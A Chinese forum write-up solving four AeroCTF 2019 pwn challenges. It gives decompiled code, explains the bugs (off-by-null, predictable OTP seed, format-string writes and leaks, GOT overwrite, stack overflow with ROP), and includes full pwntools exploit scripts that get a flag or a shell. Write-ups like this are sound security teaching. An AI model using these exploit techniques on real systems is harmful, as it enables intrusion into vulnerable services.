AeroCTF2019 PWN全解

robin / 2019-03-17 09:36:00 / 浏览数 1565 安全技术 CTF 顶(0) 踩(0)

这周打了打AeroCTF，把pwn ak了。以下是Writeup

Warm up

这题很简单，考的是stack overflow，

题目分析

先看main函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [esp+1h] [ebp-29h]
char v5; // [esp+21h] [ebp-9h]
int *v6; // [esp+22h] [ebp-8h]

v6 = &argc;
v5 = 1;
puts("Memes server");
printf("Enter the password: ");
fflush(stdout);
buf[read(0, buf, 32u)] = 0;
if ( auth(buf) )
v5 = 0;
if ( v5 )
puts("[-] Auth error!");
else
readMeme();
return -1;
}
```

如果登录成功令v5为0即可拿到flag。但是auth函数每次都会生成新的密码，并且无法破解。
程序的问题在于`buf[read(0, buf, 32u)] = 0;`存在off-by-null，而且正好会覆盖v5为0。我们只要输入0x20长度的内容即可。

exp

32个a

navigation system

考查随机数和格式化字符串漏洞

题目分析

先看一下保护情况

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

有canary但没开PIE
先看以下main函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
 int a2; // [esp+0h] [ebp-48h]
 int v5; // [esp+4h] [ebp-44h]
 char s1; // [esp+Ah] [ebp-3Eh]
 char v7; // [esp+1Bh] [ebp-2Dh]
 unsigned int v8; // [esp+3Ch] [ebp-Ch]
 int *v9; // [esp+40h] [ebp-8h]
```

```
 v9 = &argc;
 v8 = __readgsdword(0x14u);
 wlc_msg();
 __isoc99_scanf((int)"%16s", (int)&s1);
 printf("Password: ");
 fflush(stdout);
 __isoc99_scanf((int)"%32s", (int)&v7);
 if ( strcmp(&s1, valid_login) )
 {
   puts("Username is invalid!");
   exit(-1);
 }
 if ( strcmp(&v7, valid_password) )
 {
   puts("Passowrd is invalid!");
   exit(-2);
 }
 v5 = genOTPcode(&s1, &v7);
 printf("Enter the OTP code: ", v5);
 fflush(stdout);
 __isoc99_scanf((int)"%d", (int)&a2);
 if ( v5 == a2 )
   UserPanel(&s1);
 puts("OTP is incorrect!");
 fflush(stdout);
 return -1;
}
```

name和password都是常量字符串，之后需要输入一个OTP(One Time Pad)才能进入后续逻辑。看一下OTP的生成过程。

```
int __cdecl genOTPcode(char *a1, char *a2)
{
 time_t v2; // eax
 unsigned int v3; // eax

 v2 = time(0);
 srand(*a2 + *a1 + v2);
 v3 = rand();
 return v3 + (v3 >= 0xFFFFFFFF);
}
```

可以看到OTP每次都是随机生成的，但是随机的种子是当前的时间和两个字符的和。a2和a1是常量字符，因此我们可以通过当前的时间推测出OTP的值，这样即可通过检查
然后进入主逻辑,发现UserPanel中只有两个功能Set station和Read report。先看一下Read reprot：

```
int readLastReport()
{
 if ( flag )
   system("/bin/cat report.txt");
 else
   printf("[-] Access denied!");
 return putchar(10);
}
```

检查了一个bss段的标志位flag，如果不为0则直接返回flag的值（report.txt里是flag）。
再看一下Set station函数:

```
unsigned int setStation()
{
 char buf[32]; // [esp+Ch] [ebp-2Ch]
 unsigned int v2; // [esp+2Ch] [ebp-Ch]

 v2 = __readgsdword(0x14u);
 printf("Set station > ");
 fflush(stdout);
 buf[read(0, buf, 0x20u)] = 0;
 printf("Station: ");
 printf(buf);
 putchar(10);
 return __readgsdword(0x14u) ^ v2;
}
```

显然有一个格式化字符串漏洞，printf直接打印了我们输入的内容。由于没有开PIE，所以我们可以直接用格式化字符串漏洞任意写的能力来改写bss段上flag的值。

exp

解题思路
1.先根据当前时间生成OTP，通过检查
2.利用格式化字符串漏洞，把flag的值改为1
3.触发read report函数，拿到flag

```
#!/usr/bin/env python
from pwn import *
import sys

context.log_level="debug"
#context.log_level="info"
code=ELF("./navigation",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
   con=remote(sys.argv[1],int(sys.argv[2]))
elif len(sys.argv)>1:
   libc = ELF(sys.argv[1])
   con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
   con=code.process()
   if(context.arch == "amd64"):
       libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
   else:
       libc=ELF("/lib/i386-linux-gnu/libc.so.6")

from ctypes import *
def otp():
   tmp = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
   seed = tmp.time(0)
   seed+=ord("t")*2
   tmp.srand(seed)
   return tmp.rand()
def z(commond=""):
   gdb.attach(con,commond)
def overwriteflag():
   con.sendlineafter(">","2")
   flag=0x804c058
   payload=p32(flag)+"%7$hnn"
   con.sendlineafter(">",payload)

def exploit():
   con.sendlineafter("Login: ","test_account")
   con.sendlineafter("Password: ","test_password")
   con.sendlineafter("code: ",str(otp()))
   overwriteflag()
   con.sendlineafter(">","1")

exploit()
con.interactive()
```

enginescipt

题目分析

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

先看一下保护，没开PIE。
这个题是一个脚本的解释器，用户可以输入一段字节码，然后程序会逐字节的解释执行这段字节码。代码如图

```
int __cdecl execCode(char *s)
{
```

```
 int result; // eax
 int i; // [esp+8h] [ebp-10h]
 signed int v3; // [esp+Ch] [ebp-Ch]

 v3 = strlen(s);
 stack_ptr = &stack;
 for ( i = 0; ; ++i )
 {
   result = i;
   if ( i >= v3 )
     break;
   proceedOpertaion(s[i]);
 }
 return result;
}
```

stack是解释器的虚拟栈，用于存放解释器执行过程中的数据，实际位于程序的BSS段。stack_ptr是一个指针，初始指向虚拟栈（实则是bss段的地址），同样也存在BSS段上
接着看解释器的具体执行代码：

```
_BYTE **__cdecl proceedOpertaion(char a1)
{
 _BYTE **result; // eax
 char v2; // ST2C_1

 fflush(stdout);
 fflush(stdin);
 switch ( a1 )
 {
   case 'a':
     result = (_BYTE **)stack_ptr[0];
     ++*stack_ptr[0];
     break;
   case 'd':
     result = stack_ptr;
     --stack_ptr[0];
     break;
   case 'g':
     v2 = getchar();
     result = (_BYTE **)stack_ptr[0];
     *stack_ptr[0] = v2;
     break;
   case 'p':
     result = (_BYTE **)putchar((char)*stack_ptr[0]);
     break;
   case 's':
     result = (_BYTE **)stack_ptr[0];
     --*stack_ptr[0];
     break;
   case 'u':
     result = stack_ptr;
     ++stack_ptr[0];
     break;
   default:
     exit(-1337);
     return result;
 }
 return result;
}
```

其语法和Brainfuck相似，共有6种操作，分别是加减指针，加减指针指向的内容，读取输入，打印指针指向的内容。漏洞在于正常来讲，解释器的指针应该只能指向虚拟栈的
下来可以通过控制指针，让其指向got表，然后利用打印功能泄露libc的地址。之后想办法弹shel，通过打印功能，我们可以控制putchar函数的参数，但去阅读一下汇编指令
gadget。我们先用指针的写功能，将got表的putchar函数改为one
gadget。然后再让指针指向一片为0的空间，再调用putchar函数，此时eax恰好为0，能够成功触发one gadget。

exp

解题思路如下：
1.先修改指针到scanf，泄露libc地址
2.修改指针到putchar，修改putchar地址为one gadget
3.修改指针到一段全为0的空间，通过p触发one gadget 拿到shell

```
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./es",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
   con=remote(sys.argv[1],int(sys.argv[2]))
   libc=ELF("./libc.so")
elif len(sys.argv)>1:
   libc = ELF(sys.argv[1])
   con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
   con=code.process()
   if(context.arch == "amd64"):
       libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
   else:
       libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def z(commond=""):
   gdb.attach(con,commond)
def exploit():
   con.sendlineafter("Login: ","admin")

   con.sendlineafter("Password: ","password")
   code="d"*(0x60-3)+"pd"*4+"g"+"gd"*4
   code+=code.count("d")*"u"
   code+="p"
   #z("b *0x08049587")
   #z("b *0x8049574")
   con.sendafter("here: ",code)
   data=""
   data+=con.recv(1)
   data+=con.recv(1)
   data+=con.recv(1)
   data+=con.recv(1)
   libc.address=u32(data[::-1])-libc.symbols['__isoc99_scanf']
   success("Libc: "+hex(libc.address))
   one_gadget=0x6729f
   #one_gadget=0x5fbc5
   addr=p32(libc.address+one_gadget)[::-1]
   con.send(addr)
exploit()
con.interactive()
```

storage

本地考查 栈溢出，格式化字符串漏洞

题目分析

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```

这题是个静态链接的程序，实际开了canary保护。
这题是一个文件系统，有六个功能

```
Select option:
```

1. Download file
2. Upload file
3. List files
4. Sign file
5. Add file info
6. View file info

7. Exit

分别是展示文件，添加文件，显示文件列表，对文件签名，添加文件信息，展示文件信息。
由于程序的小功能比较多，这边只展示有漏洞的函数了。
首先由于程序会对文件名做一个过滤，过滤了/和.,所以显然无法直接通过目录穿越去读文件。我们先标一下系统函数，然后逐个功能审计一下，发现添加文件信息功能有问

```
unsigned int addinfo()
{
 char *v0; // eax
 char *v1; // eax
 int v2; // ecx
 unsigned int result; // eax
 unsigned int v4; // et1
 int file; // [esp+4h] [ebp-244h]
 int v6; // [esp+8h] [ebp-240h]
 int v7; // [esp+8h] [ebp-240h]
 int v8; // [esp+8h] [ebp-240h]
 char v9; // [esp+Ch] [ebp-23Ch]
 char v10[32]; // [esp+1Ch] [ebp-22Ch]
 char v11[128]; // [esp+3Ch] [ebp-20Ch]
 char v12[128]; // [esp+BCh] [ebp-18Ch]
 char v13[256]; // [esp+13Ch] [ebp-10Ch]
 unsigned int v14; // [esp+23Ch] [ebp-Ch]

 v14 = __readgsdword(0x14u);
 sub_8049088(v11, 0, 128);
 printf("Enter the filename: ");
 flush(stdin);
 flush(off_80F84BC);
 sub_8053050("%16s", (unsigned int)&v9);
 sub_804AAB8(&v9);
 if ( !sub_804A9E5(&v9) )
 {
   puts("[-] File is not exist!");
   sub_8051FC0(-1234);
 }
 v0 = &v11[strlen(v11)];
 *(_DWORD *)v0 = 1868983913;
 *((_WORD *)v0 + 2) = 47;
 sub_8049060(v11, &v9);
 v1 = &v11[strlen(v11)];
 *(_DWORD *)v1 = 1718511967;
 *((_DWORD *)v1 + 1) = 2020879983;
 *((_WORD *)v1 + 4) = 116;
 file = open(v11, "w");
 if ( file )
 {
   printf("Enter the file owner name: ");
   flush(stdin);
   v6 = read(0, v10, 512);
   if ( v6 > 0 )
   {
     v10[v6] = 0;
     writeintofile(v10, file);
   }
   printf("Enter the file create date: ");
   flush(stdin);
   v7 = read(0, v12, 512);
   if ( v7 > 0 )
   {
     v12[v7] = 0;
     writeintofile(v12, file);
   }
   printf("Enter the file owner name: ");
   flush(stdin);
   v8 = read(0, v13, 512);
   if ( v8 > 0 )
   {
     v13[v8] = 0;
```

```
    writeintofile(v13, file);
  }
  close(file);
 }
 else
 {
  puts("[-] Error in file open!");
 }
 v4 = __readgsdword(0x14u);
 result = v4 ^ v14;
 if ( v4 != v14 )
  sub_8074200(v2);
 return result;
}
```

这里调用了read功能三次，大小都是512，但是栈上对应的buff的空间都不足512。而且最后一次从输入中读取内容到v13时，v13的大小只有256，而且v13离canary很近，要做栈溢出，还需要泄露canary的值以绕过canary保护。我们再审计程序中所有的输出功能，发现在文件签名过程中有一个printf的值是和我们的输入相关的。看一下文件签

```
signed int sign()
{
 int v0; // eax
 signed int result; // eax
 int v2; // ST04_4
 int v3; // ecx
 unsigned int v4; // et1
 int i; // [esp+8h] [ebp-300h]
 signed int j; // [esp+Ch] [ebp-2FCh]
 signed int k; // [esp+10h] [ebp-2F8h]
 int v8; // [esp+14h] [ebp-2F4h]
 int v9; // [esp+18h] [ebp-2F0h]
 int v10; // [esp+1Ch] [ebp-2ECh]
 char v11; // [esp+20h] [ebp-2E8h]
 char v12; // [esp+7Ch] [ebp-28Ch]
 char v13[16]; // [esp+8Ch] [ebp-27Ch]
 char v14[16]; // [esp+9Ch] [ebp-26Ch]
 char v15[16]; // [esp+ACh] [ebp-25Ch]
 int v16; // [esp+BCh] [ebp-24Ch]
 __int16 v17; // [esp+C0h] [ebp-248h]
 char v18; // [esp+C2h] [ebp-246h]
 char v19[512]; // [esp+FCh] [ebp-20Ch]
 unsigned int v20; // [esp+2FCh] [ebp-Ch]

 v20 = __readgsdword(0x14u);
 printf("Enter the filename: ");
 flush(stdin);
 scanf("%16s", (unsigned int)&v12);
 sub_804AAB8(&v12);
 v16 = 1701603686;
 v17 = 12147;
 v18 = 0;
 sub_8049060(&v16, &v12);
 v8 = open(&v16, "rb");
 if ( v8 )
 {
  for ( i = 0; ; ++i )
  {
   v9 = sub_8055660(v8);
   if ( v9 == -1 )
    break;
   v19[i] = v9;
  }
  v19[i] = 0;
  close(v8);
  printf("Enter the signer name: ");
  flush(stdin);
  scanf("%16s", (unsigned int)v13);
  printf("filedata: %s\n");
  flush(stdin);
  sub_804AE40(&v11);
```

```
  v0 = sub_8070780(v19);
  sub_804AB90(&v11, v19, v0);
  sub_804AD20(v14, &v11);
  printf("File hash: ");
  flush(stdin);
  for ( j = 0; j <= 15; ++j )
  {
    v2 = (unsigned __int8)v14[j];
    printf("%02x");
  }
  v10 = sub_8070780(v13);
  for ( k = 0; k <= 15; ++k )
    v15[k] = v13[k % v10] ^ v14[k];
  printf("\nFile sign: ");
  printf(v15);
  putchar(10);
  result = flush(stdin);
}
```

文件签名的计算过程大概是先通过某个算法对文件的内容算一个哈希，然后把哈希值和我们输入的signer name做一个异或运算，然后用prinf打印计算出的字符串。由于signer name是我们可控的，所以我们可以完全控制printf输出的内容，长度为16字节，存在格式化字符串漏洞，我们可以利用其泄露栈上的canary。最后由于这个程序是静态链接的，我们可以在程序里直接找到system/execv的地址，和'/bin/sh'字符串的地址，而不需要泄露libc。

exp

解题思路：

1. 利用格式化字符串漏洞泄露canary
2. 利用栈溢出，覆盖return address，部署rop
3. 触发rop， getshell

```
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./storage",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
   con=remote(sys.argv[1],int(sys.argv[2]))
   #libc=ELF("./libc.so")
elif len(sys.argv)>1:
   libc = ELF(sys.argv[1])
   con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
   con=code.process()
   if(context.arch == "amd64"):
       libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
   else:
       libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def z(commond=""):
   gdb.attach(con,commond)
def exploit():
   con.sendlineafter("Login: ","admin")
   con.sendlineafter("Password: ","admin")
   con.sendlineafter("> ","2")
   con.sendlineafter("filename: ","aa")
   con.sendlineafter("data: ","a")
   filehash="60b725f10c9c85c70d97880dfe8191b3".decode("hex")
   payload="%195$p\x00"
   signname=""
   for i,x in enumerate(payload):
       signname+=chr(ord(x)^ord(filehash[i]))
   con.sendlineafter("> ","4")
   con.sendlineafter("filename: ","aa")
   con.sendlineafter("name: ",signname)
```

```
    con.recvuntil("File sign: ")
    canary = int(con.recvline().strip(),16)

    con.sendlineafter("> ","5")
    con.sendlineafter("filename: ","aa")
    con.sendlineafter("name: ","aa")
    #z()
    con.sendlineafter("date: ","aa")
    system = 0x8052CF0
    sh = 0x080C7B8C
    con.sendlineafter("name: ","a"*0x100+p32(canary)+p32(0)*3+p32(system)+p32(0)+p32(sh))

exploit()
con.interactive()
```

点击收藏 | 0 关注 | 1

上一篇：Ruby on Rails 路径穿... 下一篇：利用Gradle Plugin通配...

1. 1 条回复

一筐萝卜 2019-03-18 11:30:46

可否分享一下题目文件？？？

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板